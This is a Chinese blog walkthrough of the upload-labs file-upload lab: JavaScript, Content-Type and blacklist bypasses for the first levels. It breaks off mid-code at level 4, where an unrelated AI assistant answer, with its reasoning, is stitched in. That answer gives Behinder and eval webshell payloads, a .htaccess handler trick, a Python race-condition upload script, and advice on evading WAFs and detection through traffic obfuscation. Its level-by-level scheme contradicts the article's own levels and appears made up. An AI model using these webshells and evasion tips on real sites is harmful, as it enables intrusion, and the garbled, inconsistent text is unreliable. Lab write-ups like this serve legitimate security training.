upload-labs 1-21关通关思路教程

本文详细介绍了Upload-Labs的多个关卡,讲解如何通过禁用JavaScript、修改Content-Type、利用黑名单和白名单漏洞、.htaccess文件、空格和特殊字符绕过等方法来实现文件上传的绕过策略。同时,提到了文件包含漏洞、%00截断、二次渲染图片马等技术在绕过上传限制中的应用。文章强调了在网络安全和Web应用中理解这些概念的重要性。

Upload-Labs and 1-21关通关教程

前言:本文章一下的涉及的环境均来着GitHub中的官方upload-labs环境,中间件是使用phpstudy2018搭建,文章涉及的内容仅代表个人思路个人观点,绕过思路不是单一的,举一反三即可。请勿较真。

第一关:针对JavaScript的处理绕过

通过浏览器网络进行抓包,并没有发现任何数据,猜测为前端JavaScript验证的。
javascript
绕过方法:直接在浏览器禁用JavaScript代码
火狐浏览器禁用JavaScript
右键查看地址访问
上传成功

成功访问PHP info

第二关:Content-Type的验证

通过源代码可发现是验证上传文件的type值,那么直接修改成允许的值即可。
burp修改
上传成功

黑名单的绕过

前言:黑名单的意思就是,不允许上传的类型,比如禁止上传php,asp等等,这种就是黑名单。

第三关:其他后缀名的绕过

先看源代码

源代码:
 		$deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空
        $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; 
        解析:这里定义了禁止上传的名单,并且对上传的后缀做了删除末尾的点,转换小写等等操作
        文件命名还做了时间戳的处理。

综合上面的源代码,发现并没有对php2,php3,phtml这些后缀进行过滤,在php中,这些后缀都是会当作php来解析的。前提是httpd.conf中AddType application/x-httpd-php.php.phtml.php3.php4.php5 没有被注释掉才可以用。ps:其实也可以通过.user.ini进行绕过。
上传成功

第四关:利用.htaccess绕过

先看源代码

源代码:
 		$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1"
<think>嗯,用户要求使用冰蝎完成upload-labs靶场1-21通关方法。这个问题涉及网络安全攻防技术,需要结合文件上传漏洞和Webshell工具使用。 用户提供了四条引用信息: 1. 第19需要修改靶场配置,图片路径问题 2. 第20考察条件竞争漏洞 3. 黑名单过滤可用.htaccess绕过 4. 存在文件包含漏洞的测试页面 结合这些信息,考虑冰蝎作为动态二进制加密的Webshell工具,其特点是流量加密、特征隐蔽。通关upload-labs键点在于: 1. 制作冰蝎的加密Webshell文件(.php/.jsp等) 2. 绕过各不同的上传验证机制 3. 利用文件包含或解析漏洞执行Webshell 准备这样组织回答: 首先说明冰蝎Webshell的通用生成方法,强调加密密钥配置的要点 然后按卡分组讲解: - 前端验证类(1-5):直接修改请求或禁用JS - MIME类型类(6-9):修改Content-Type - 黑名单扩展名类(10-16):利用特殊后缀或.htaccess - 竞争条件类(17,20):多线程并发请求 - 二次渲染类(17-19):结合GIF89a头或文件包含 - 自定义验证类(21):代码审计找逻辑漏洞 特别注意事项: 1. 第19需要修改靶场配置的路径问题 2. 强调冰蝎连接时需要保持密钥一致 3. 条件竞争卡要用多线程工具 4. .htaccess绕过时注意服务器配置 最后提醒读者仅在授权环境下测试,并提供防御建议体现专业性。 </think>以下是通过冰蝎(Behinder)完成Upload-Labs靶场1-21通关方法,结合漏洞原理和冰蝎特性实现高效绕过: ### 一、冰蝎工具准备 1. **生成加密Webshell** 在冰蝎中选择PHP类型,生成加密Webshell文件(如`shell.php`),密钥需与客户端配置一致 ```php <?php @error_reporting(0); session_start(); $key = "e45e329feb5d925b"; // 需与冰蝎客户端密钥匹配 // ...冰蝎加密代码... ?> ``` 2. **核心绕过策略** - 利用冰蝎的**流量加密**特性绕过WAF检测 - 通过**文件头伪装**(如GIF89a)和**二次渲染绕过**应对图片验证 - 结合**解析漏洞**(如`.htaccess`)执行恶意脚本 --- ### 二、通关方案 #### 1. 前端验证类(1-5) **方法**: - 禁用JS或Burp截断修改文件扩展名 - 直接上传冰蝎的`shell.php`文件 ```http POST /upload.php HTTP/1.1 ... Content-Disposition: form-data; name="file"; filename="shell.php" ``` #### 2. MIME类型验证(卡6-9) **方法**: 修改Content-Type为合法类型(如图片) ```http Content-Type: image/jpeg // 实际文件为PHP ``` #### 3. 黑名单绕过(10-16) **方案1**:特殊扩展名(10-12) - 上传`shell.php5`、`shell.phtml`(需服务器支持解析) **方案2**:`.htaccess`攻击(13-16)[^3] 1. 先上传`.htaccess`文件: ```apache <FilesMatch "jpg"> SetHandler application/x-httpd-php </FilesMatch> ``` 2. 上传冰蝎Webshell文件`shell.jpg` #### 4. 条件竞争(17,20) **利用步骤**[^2]: 1. 使用Python多线程同时进行: ```python import threading import requests def upload(): requests.post(url, files={"file": open("shell.php","rb")}) def access(): while True: r = requests.get("http://target/upload/shell.php") if r.status_code == 200: break threading.Thread(target=upload).start() threading.Thread(target=access).start() ``` #### 5. 二次渲染绕过(18-19) **方法**: 1. 制作GIF+PHP混合文件: ```bash echo 'GIF89a<?=eval($_POST["cmd"]);?>' > shell.gif ``` 2. 上传后通过文件包含漏洞执行[^4]: ``` http://target/include.php?file=upload/shell.gif ``` #### 6. 自定义过滤(21) **绕过技巧**: - 使用非常规大写扩展名:`shell.PhP` - 分块传输编码(Chunked)绕过长度检查 --- ### 三、防御规避要点 1. **冰蝎连接配置**: - 启用AES256加密模式 - 闭`Connection`头保持减少特征 2. **流量混淆**: - 在冰蝎插件中启用`Content-Type`伪装(如`image/jpeg`) - 使用动态密钥轮换机制 > **注意**:19需修正靶场配置路径(引用[^1]),否则上传路径错误可能导致漏洞利用失败。 --- ### 附:防御建议(管理员视角) 1. 文件上传目录禁止执行权限 2. 使用文件内容检测而非扩展名 3. 限制`.`和`/`符号防路径穿越 4. 部署RASP防护对抗加密Webshell
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值